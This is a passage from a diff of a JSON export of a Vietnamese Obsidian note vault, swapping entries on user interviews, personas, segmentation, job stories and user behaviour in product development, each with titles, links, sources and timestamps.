quả phỏng vấn bị rơi vào quên lãng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Trong nhiều trường hợp, kết quả phỏng vấn bị rơi vào quên lãng", + "Tiêu đề": "Các câu chuyện mà người dùng kể được lấp đầy bởi khoảng trống mà họ kỳ vọng vào thế giới", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Persona, câu chuyện người dùng/Các câu chuyện mà người dùng kể được lấp đầy bởi khoảng trống mà họ kỳ vọng vào thế giới", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "Với người dùng thì đó là sự tiêu cực, còn với người làm sản phẩm thì đó là cơ hội. Nếu người dùng đã thoả mãn rồi thì cũng không còn gì để cải thiện\n[[Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân]] \nNguồn:: [[Hoàng Đức Minh]]\n[[Sự tiêu cực của người dùng là cơ hội làm dự án]]\n[[Persona tuy tạo sự đồng cảm với người làm sản phẩm, nhưng lại chứa quá nhiều giả định]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T18:04:00.000Z", + "Ngày tạo": "2023-06-09T05:01:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "K7" + "id": "KL" }, { - "Tiêu đề": "Trả tiền cho người phỏng vấn sẽ khiến họ làm việc chuyên nghiệp", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Trả tiền cho người phỏng vấn sẽ khiến họ làm việc chuyên nghiệp", + "Tiêu đề": "Persona tuy tạo sự đồng cảm với người làm sản phẩm, nhưng lại chứa quá nhiều giả định", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Persona, câu chuyện người dùng/Persona tuy tạo sự đồng cảm với người làm sản phẩm, nhưng lại chứa quá nhiều giả định", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Việc trả tiền có thể mời những người không thích mình nhận phỏng vấn. \n\n\nNếu không trả tiền thì họ sẽ có cảm giác ban ơn, và dễ mất kiên nhẫn\nCòn khảo sát thì nếu trả tiền thì người tham gia sẽ muốn làm cho xong\n\nLý do:: [[Tiền làm người sở hữu tưởng rằng mình độc lập]]\n", + "Toàn bộ nội dung": "![](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*lwr2g0HvLOVr5IPVNoYxLg.png) \nNguồn:: [Fetching Title#roh6](https://jtbd.info/replacing-the-user-story-with-the-job-story-af7cdee10c27)\n\n[[Đừng dùng câu chuyện người dùng (user story), mà hãy dùng câu chuyện công việc (job story)]] \nNguồn:: ![Jobs to be Done: from Doubter to Believer by Sian Townsend at Front 2016 in Salt Lake City, Utah - YouTube](https://youtu.be/VNTW_9mFM7k)\n\nCâu hỏi:: [[❓Persona khác gì với segmentation]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày tạo": "2023-06-10T06:39:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "K8" + "id": "KM" }, { - "Tiêu đề": "Tìm hiểu vào bối cảnh, không chỉ hành vi đơn lẻ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Tìm hiểu vào bối cảnh, không chỉ hành vi đơn lẻ", + "Tiêu đề": "Segmentation là một nhóm user, còn persona thường là một chân dung có tính đại diện của nhóm đó", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Persona, câu chuyện người dùng/Segmentation là một nhóm user, còn persona thường là một chân dung có tính đại diện của nhóm đó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "Segmentation là 1 nhóm user, còn persona thường được hiểu là 1 chân dung có tính đại diện của nhóm đó. Ví dụ với sản phẩm túi vải không dệt, target vào 2 segment chính là nhóm phụ nữ đi chợ tiết kiệm và nhóm 2 giới trẻ yêu môi trường, trong nhóm này thì persona có thể bao gồm anh A, 1 chủ tịch CLB môi trường sinh ở ĐH, 1 chị B, là người ăn chay nhiều năm, chủ 1 quán chay.\n\nNguồn:: [[Hoàng Đức Minh]]\n[[❓Persona là exemplar của segmentation]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-04T12:16:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "K9" + "id": "KN" }, { - "Tiêu đề": "Việc phỏng vấn làm ta mệt và muốn nghỉ ngơi, nhưng ta vẫn phải tiếp tục làm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Việc phỏng vấn làm ta mệt và muốn nghỉ ngơi, nhưng ta vẫn phải tiếp tục làm", + "Tiêu đề": "Đừng dùng câu chuyện người dùng (user story), mà hãy dùng câu chuyện công việc (job story)", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Persona, câu chuyện người dùng/Đừng dùng câu chuyện người dùng (user story), mà hãy dùng câu chuyện công việc (job story)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Câu chuyện người dùng:\n![](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*lwr2g0HvLOVr5IPVNoYxLg.png) \n\nCâu chuyện công việc:\n![](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ua_egpJ6K1fCAQ_hY5UHAA.png) \n\n[[Hãy hỏi người dùng họ cần sản phẩm này để giải quyết việc gì]] \nNguồn:: [Replacing The User Story With The Job Story | by Alan Klement | Jobs to be Done](https://jtbd.info/replacing-the-user-story-with-the-job-story-af7cdee10c27)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-06-10T06:47:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "KA" + "id": "KO" }, { - "Tiêu đề": "❓Có nên phỏng vấn một người nhiều lần để vét cạn suy nghĩ của họ về các giả thiết của mình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/❓Có nên phỏng vấn một người nhiều lần để vét cạn suy nghĩ của họ về các giả thiết của mình", + "Tiêu đề": "❓Persona khác gì với segmentation", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Persona, câu chuyện người dùng/❓Persona khác gì với segmentation", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-11-09T05:23:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "KB" + "id": "KP" }, { - "Tiêu đề": "❓Có nên yêu cầu người tham gia phỏng vấn phải đọc trước cái gì không", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/❓Có nên yêu cầu người tham gia phỏng vấn phải đọc trước cái gì không", + "Tiêu đề": "❓Persona là exemplar của segmentation", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Persona, câu chuyện người dùng/❓Persona là exemplar của segmentation", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-11-09T09:12:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "KC" + "id": "KQ" }, { - "Tiêu đề": "❓Có nên đưa câu hỏi trước cho người tham gia phỏng vấn biết trước không. Có nên cho họ coi kết quả ghi chú của mình không", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/❓Có nên đưa câu hỏi trước cho người tham gia phỏng vấn biết trước không. Có nên cho họ coi kết quả ghi chú của mình không", + "Tiêu đề": "5 người dùng đầu tiên phát hiện 85% vấn đề ở sản phẩm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/5 người dùng đầu tiên phát hiện 85% vấn đề ở sản phẩm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \n![](https://media.nngroup.com/media/editor/2023/08/07/why-you-only-need-to-test-5-users-1.jpg) \n\nNếu kiếm được 15 người dùng thì hãy chia nó ra thành 3 lần phỏng vấn. Việc phỏng vấn nhiều người giúp tăng độ tự tin vào kết luận của mình. Nhưng thứ ta cần làm là cải tiến sản phẩm chứ không phải để miêu tả vấn đề của nó.\n\nNguồn:: [[Neilsen Norman Group]], [Why You Only Need to Test with 5 Users](https://www.nngroup.com/articles/why-you-only-need-to-test-with-5-users/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "KD" + "Ngày cập nhật": "2024-04-03T07:19:00.000Z", + "id": "KR" }, { - "Tiêu đề": "❓Làm sao để cho họ tiếp tục nói hết ý của mình khi mà họ không có nhiều thời gian cho mình, và mình cũng không có nhiều tiền để trả họ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/❓Làm sao để cho họ tiếp tục nói hết ý của mình khi mà họ không có nhiều thời gian cho mình, và mình cũng không có nhiều tiền để trả họ", + "Tiêu đề": "Người dùng dịch vụ của mình thường phản hồi những thứ họ chấp nhận được. Người dùng dịch vụ của đối thủ thường phản hồi những thứ họ không chấp nhận được", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Chọn người phỏng vấn/Người dùng dịch vụ của mình thường phản hồi những thứ họ chấp nhận được. Người dùng dịch vụ của đối thủ thường phản hồi những thứ họ không chấp nhận được", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Nguồn:: [[Y Combinator]], ![Lecture 16 - How to Run a User Interview (Emmett Shear) - YouTube](https://www.youtube.com/watch?v=qAws7eXItMk)\n\n[[Người thích mình thường có nhu cầu khác về sản phẩm so với người không thích mình]]\n[[Nên phỏng vấn cả những người không nằm trong nhóm đối tượng mục tiêu của mình]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-22T13:42:00.000Z", - "id": "KE" + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "KS" }, { - "Tiêu đề": "❓Người dùng thấy không hiểu ý đồ của mình và giải thích nhiều vì nghĩ là mình không hiểu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/❓Người dùng thấy không hiểu ý đồ của mình và giải thích nhiều vì nghĩ là mình không hiểu", + "Tiêu đề": "Người thích mình thường có nhu cầu khác về sản phẩm so với người không thích mình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Chọn người phỏng vấn/Người thích mình thường có nhu cầu khác về sản phẩm so với người không thích mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "hoặc hỏi rất nhiều thứ mà mình biết là nếu giải thích thì họ sẽ chưa thấy hiểu được ngay và hỏi tiếp, trong khi thời gian thì cũng giới hạn\n", + "Toàn bộ nội dung": "[[Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ]]\n[[Nên phỏng vấn cả những người không nằm trong nhóm đối tượng mục tiêu của mình]]\nNguồn:: [[Hoàng Đức Minh]]\n\n[[Người dùng dịch vụ của mình thường phản hồi những thứ họ chấp nhận được. Người dùng dịch vụ của đối thủ thường phản hồi những thứ họ không chấp nhận được]] \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "KF" + "id": "KT" }, { - "Tiêu đề": "Sự miễn phí chỉ có ích khi ta cần phản hồi của người dùng, hoặc khi nền tảng của ta cần hiệu ứng mạng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Sự miễn phí chỉ có ích khi ta cần phản hồi của người dùng, hoặc khi nền tảng của ta cần hiệu ứng mạng", + "Tiêu đề": "Nên phỏng vấn cả những người không nằm trong nhóm đối tượng mục tiêu của mình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Chọn người phỏng vấn/Nên phỏng vấn cả những người không nằm trong nhóm đối tượng mục tiêu của mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], [Setting KPIs and Goals | Startup School - YouTube](https://youtu.be/6DTK9yDP6p0?si=LHGKMJ7z3BuHg631&t=1481)\n[[❓Miễn phí, trả tuỳ tâm, tự định giá sức lao động]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-28T17:03:00.000Z", - "id": "KG" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "KU" }, { - "Tiêu đề": "❓Với những người mà mình biết sẽ có cố gắng tìm hiểu mình, mình nên tiếp tục cho họ thấy mình có những thứ họ cần, hay là cho họ thấy mình là như thế nào", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/❓Với những người mà mình biết sẽ có cố gắng tìm hiểu mình, mình nên tiếp tục cho họ thấy mình có những thứ họ cần, hay là cho họ thấy mình là như thế nào", + "Tiêu đề": "Nên phỏng vấn một tập người dùng nhiều lần, nhưng không nên một người nhiều lần", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Chọn người phỏng vấn/Nên phỏng vấn một tập người dùng nhiều lần, nhưng không nên một người nhiều lần", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "KH" + "id": "KV" }, { - "Tiêu đề": "Người giúp đỡ sẽ khó có động lực giúp nếu không thấy ý tưởng mình rõ ràng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người giúp đỡ sẽ khó có động lực giúp nếu không thấy ý tưởng mình rõ ràng", + "Tiêu đề": "Việc chọn đối tượng phỏng vấn phụ thuộc vào việc giả định của mình liên quan đến hành vi nào", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Chọn người phỏng vấn/Việc chọn đối tượng phỏng vấn phụ thuộc vào việc giả định của mình liên quan đến hành vi nào", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Thách thức:: [[Giai đoạn lên ý tưởng thường khó khăn]]\n[[❓Khách hàng sẽ nhớ đến mình nếu như mình có thể tạo được satisfaction of emotion, nhưng họ chỉ làm tnv hoặc góp tiền cho mình khi họ cần đảm bảo một cái gì đấy]]", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-28T04:15:00.000Z", - "id": "KI" + "Ngày tạo": "2023-09-09T16:43:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "KW" }, { - "Tiêu đề": "Những câu hỏi đánh giá tác động đòi hỏi phải nghiên cứu sâu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Những câu hỏi đánh giá tác động đòi hỏi phải nghiên cứu sâu", + "Tiêu đề": "Con người không muốn mâu thuẫn với những điều mình nói ra", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hành vi người dùng/Con người không muốn mâu thuẫn với những điều mình nói ra", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Có những cái phải chạy mô hình dự báo\n\nNguồn:: [[ABG Open Special 2023]]\n\n[[1 nghiên cứu 20 ngày khác với 4 nghiên cứu 5 ngày]]\n[[Muốn thấy được những vấn đề lớn cần sự thong thả]]", + "Toàn bộ nội dung": "Tất nhiên họ có thể bịa ra lý do để lý giải hành vi của mình, nhưng đó là khi họ chưa ý thức được sự bịa đó. Nhưng một khi họ đã nói ra rồi, thì thường họ sẽ muốn làm đúng với lời họ nói?\n\nMâu thuẫn với:: [[Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng]] \nMâu thuẫn với:: [[Người dùng nói thích một tính năng không có nghĩa là họ sẽ bỏ những sản phẩm khác để đến với tính năng của mình]] \n[[Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "KJ" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-06-21T15:14:00.000Z", + "id": "KX" }, { - "Tiêu đề": "Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng", + "Tiêu đề": "Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hành vi người dùng/Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý thuyết phổ biến về phân khúc khách hàng ví dụ như early adopter. Còn với phát triển sản phẩm, cùng với app loyalty, cùng nhà hàng thì có bình dân, 5 sao, chuỗi. Mỗi bên có tập khách hàng của riêng họ. \nNên cơ bản phải đi từ giả thiết. Họ là ai. Họ cần gì. Từ đó mới chia nhỏ hơn thành các mục tiêu nghiên cứu\n\nNguồn:: [[Hoàng Đức Minh]]\nEverygreen", + "Toàn bộ nội dung": "Lý do:: [[Con người không muốn mâu thuẫn với những điều mình nói ra]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "KK" + "id": "KY" }, { - "Tiêu đề": "Ý tưởng với hiểu biết sâu đều là giả thiết", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Ý tưởng với hiểu biết sâu đều là giả thiết", + "Tiêu đề": "Người có nhu cầu thường để lại ấn tượng nhiều, nhưng số lượng không nhiều trong thị trường", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hành vi người dùng/Người có nhu cầu thường để lại ấn tượng nhiều, nhưng số lượng không nhiều trong thị trường", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Idea là một cái gì đó để thử, còn insight là kết quả của sự thử]] ", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày tạo": "2023-09-09T18:17:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "KL" + "id": "KZ" }, { - "Tiêu đề": "❓Hiểu biết sâu thông qua việc bắt tay vào làm, hay hiểu biết sâu thông qua việc nghiên cứu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/❓Hiểu biết sâu thông qua việc bắt tay vào làm, hay hiểu biết sâu thông qua việc nghiên cứu", + "Tiêu đề": "Người dùng nói thích một tính năng không có nghĩa là họ sẽ bỏ những sản phẩm khác để đến với tính năng của mình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hành vi người dùng/Người dùng nói thích một tính năng không có nghĩa là họ sẽ bỏ những sản phẩm khác để đến với tính năng của mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", + "Toàn bộ nội dung": "Nguồn:: [[Y Combinator]], ![Lecture 16 - How to Run a User Interview (Emmett Shear) - YouTube](https://www.youtube.com/watch?v=qAws7eXItMk)\nMâu thuẫn với:: [[Con người không muốn mâu thuẫn với những điều mình nói ra]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-02T04:06:00.000Z", - "Ngày cập nhật": "2023-11-28T07:21:00.000Z", - "id": "KM" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Ka" }, { - "Tiêu đề": "❓Khảo sát để lọc ứng viên phỏng vấn khác gì khảo sát để xác nhận phát hiện mới từ phỏng vấn trên quy mô lớn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/❓Khảo sát để lọc ứng viên phỏng vấn khác gì khảo sát để xác nhận phát hiện mới từ phỏng vấn trên quy mô lớn", + "Tiêu đề": "Người dùng thường không nói không với những tính năng mới", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hành vi người dùng/Người dùng thường không nói không với những tính năng mới", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Startup Business Models and Pricing | Startup School - YouTube](https://www.youtube.com/watch?v=oWZbWzAyHAE&list=PLQ-uHSnFig5M9fW16o2l35jrfdsxGknNB&index=5)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "KN" + "id": "Kb" }, { - "Tiêu đề": "Ngôn ngữ của người dùng và ngôn ngữ của người cung cấp giải pháp có thể khác nhau", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Ngôn ngữ của người dùng và ngôn ngữ của người cung cấp giải pháp có thể khác nhau", + "Tiêu đề": "Sự tiêu cực của người dùng là cơ hội làm dự án", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hành vi người 